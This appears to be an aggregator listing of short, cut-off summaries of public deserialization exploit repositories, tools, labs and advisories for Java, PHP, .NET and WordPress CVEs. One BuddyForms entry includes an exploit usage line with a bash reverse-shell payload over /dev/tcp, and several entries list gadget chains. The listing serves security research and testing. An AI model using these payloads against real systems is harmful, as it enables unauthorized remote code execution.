gadgetinspector

Gadget Inspector このプロジェクトは、Javaライブラリおよびクラスパス内のガジェットチェーンを検査します。ガジェットチェーンは、デシリアライゼーション脆弱性のエクスプロイトを構築するために使用されます。アプリケーションのクラスパス内で可能なガジェットチェーンを自動的に発見することで、ペネトレーションテスターは迅速にエクスプロイトを構築でき、アプリケーションセキュリティエンジニアはデシリアライゼーション脆弱性の影響を評価し、その修正の優先順位を決定できます。 このプロジェクトはBlack Hat USA 2018で発表されました。詳細はそちらをご覧ください！（リンクは未定...

CVE-2026-33439

🐞 CVE-2026-33439: jato.clientSession デシリアライゼーションによる OpenAM 事前認証 RCE 人間の洞察 + AI 支援による分析 + リバースエンジニアリング + アドバイザリ → エクスプロイト CVE-2026-33439 の初の公開エクスプロイト実装 ForgeRock OpenAM における未認証の Java デシリアライゼーション脆弱性。細工された JATO セッションオブジェクトを介して完全なリモートコード実行を可能にします。同じ川は二度流れる。彼らは...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab CVE-2025-54236 SessionReaper の実践的デモンストレーションのための Docker 環境: Magento Open Source 2.4.7 における PHP オブジェクトデシリアライゼーションから RCE に至る脆弱性。 管理された環境でのみ使用してください。明示的な許可なくシステムに対して実行しないでください。 脆弱性について CVE-2025-54236 は、Magento Open Source および Adobe Commerce のバージョン 2.4.7...

CVE-2018-15133-PoC

CVE-2018-15133-PoC 此 Python 脚本利用 CVE-2018-15133 漏洞，针对存在不安全反序列化漏洞的 Laravel 应用实现远程代码执行（RCE）。 该漏洞利用 Laravel（5.5.40 及更早版本，以及 5.6.0 至 5.6.29）中已加密的会话会自动反序列化且缺乏适当验证的弱点。在获取 Laravel 的 APPKEY 后，攻击者可加密恶意负载，这些负载将被反序列化并在服务器上执行。 Laravel 会话系统工作原理 Laravel 使用对称加密机制处理会话，包含三个组件： IV（初始化向量）：每次会话随机生成的初始化向量 Value：使用...

POC_CVE-2020-2555

POCCVE-2020-2555 CVE-2020-2555 の PoC 3つのパート: クライアントとサーバー: オブジェクトを構築してサーバーに送信し、ガジェットチェーンをトリガーします。オーナーオブジェクトの構築に使用します。 攻撃: pwntools を使用して T3 プロトコル経由でオブジェクトを送信する...

wordpress-php-object-helper

wordpress-php-object-helper 关于 您有一个已知的带 PHP 对象漏洞的插件，但您需要确定使用哪个库来利用该问题并与 phpggc 配合运行。 这应该能帮到您。 示例输出 root@kitploit: $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

CVE-2021-2302

CVE-2021-2302 作者: quynhle 利用链 root@kitploit: javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

ysonet

YSoNet 是原始 YSoSerial.Net 的一个分支，目前由 @irsdl 维护。 网站：ysonet.net 或 ysonet.com（两者均指向本仓库）。 一个用于生成利用不安全 .NET 对象反序列化漏洞的 payload 的概念验证工具。 什么是 YSoNet YSoNet（原名 ysoserial.net）是一个工具集合，包含在常见 .NET 库中发现的实用程序及面向属性编程（property-oriented programming）“gadget 链”。在适当条件下，这些 gadget 链可以利用执行不安全对象反序列化的 .NET 应用程序。你提供一条命令和一个...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129-Laravel Debug mode リモートコード実行の脆弱性 影響を受けるバージョンと条件 Laravel = 8.4.2 Ignition 2.5.2 環境構築 docker pull vulhub/laravel:8.4.2 expの使用方法 exploit.pyと同じディレクトリで git clone https://github.com/ambionics/phpggc.git を実行してダウンロードしてください。 python3 exploit.py http://127.0.0.1:80 "whoami"...

CVE-2023-3360 Weaver Show Posts < 1.8.1 - Admin+ PHP Object Injection

The Weaver Show Posts WordPress plugin before 1.8.1 unserialises the content of an imported file, which could lead to PHP object injections issues when a high privilege user import a malicious file and a suitable gadget chain is present on the blog...

CVE-2023-3360 Weaver Show Posts < 1.8.1 - Admin+ PHP Object Injection

The Weaver Show Posts WordPress plugin before 1.8.1 unserialises the content of an imported file, which could lead to PHP object injections issues when a high privilege user import a malicious file and a suitable gadget chain is present on the blog...

EUVD-2023-60614

The Weaver Show Posts WordPress plugin before 1.8.1 unserialises the content of an imported file, which could lead to PHP object injections issues when a high privilege user import a malicious file and a suitable gadget chain is present on the blog...

CVE-2026-25632

CVE-2026-25632 — JSON デシリアライゼーションによる RCE（バグ修正チャレンジ） 実際の 2026 年の脆弱性（CVSS 10.0、活発に悪用）に触発 元ネタ: CVE-2026-25632 — EPyT-Flow 水ネットワークシミュレーション REST API で発見され、2026 年初頭に公開された、安全でない type 駆動の JSON デシリアライゼーションを介したリモートコード実行。 背景 NovaSim は、科学実験のリモート制御のために REST API を公開する Python...

mojarragadget

mojarragadget 説明 Mojarra Library に新しい Java ガジェットチェーンを発見しました。このリポジトリには、バージョン 2.3 および 3.0 でエクスプロイトを再現するための 2 つの PoC が含まれています。 詳細はこちら: https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-2.html ビルド...

Weblogic_CVE-2020-2883_POC

Weblogic CVE-2020-2883 の POC poc1: root@kitploit: javax.management.BadAttributeValueExpException.readObject com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString java.util.concurrent.ConcurrentSkipListMap$SubMap.size java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 Dubbo 2.7.3 向け FastJson + SpringFramework ガジェット 完全な解説は https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability で入手できます。 なお、 これはエクスプロイトではありません 。これは、特定の依存関係を含むスコープ内でデシリアライゼーションを実証するためにエクスプロイト内で使用される POC ガジェットチェーンです。 概要 このコードは、CVE-2019-17564 で...

cve-2014-7912

cve-2014-7911 cve-2014-7911 のExp。システム権限を取得できる。他のコードの大部分に基づいているが、ガジェットが異なる。 1. APKをインストールしてボタンをクリックする 2. system serverが再起動する 3. システムID100を /data/1.txt に書き込む...

CVE-2025-55182-checker

CVE-2025-55182 漏洞检测器 - 增强版 一款全面的 CVE-2025-55182 漏洞检测工具，适用于 React/Next.js 应用程序，支持多种检测技术。 ⚠️ 法律免责声明 仅限授权的安全测试与研究用途 本工具设计用于： 授权的渗透测试任务 在受控环境中的安全研究 教育目的 获得适当授权的漏洞评估 未经授权访问计算机系统是违法的。在测试前务必获得书面许可。 功能特色 多种检测技术 ：通过多种方法进行全面测试 小工具链探测 ：测试各种 Node.js 模块访问路径 安全操作 ：仅使用无害、非破坏性的测试命令 WAF 绕过技术 ：针对受保护环境的高级检测 批量测试...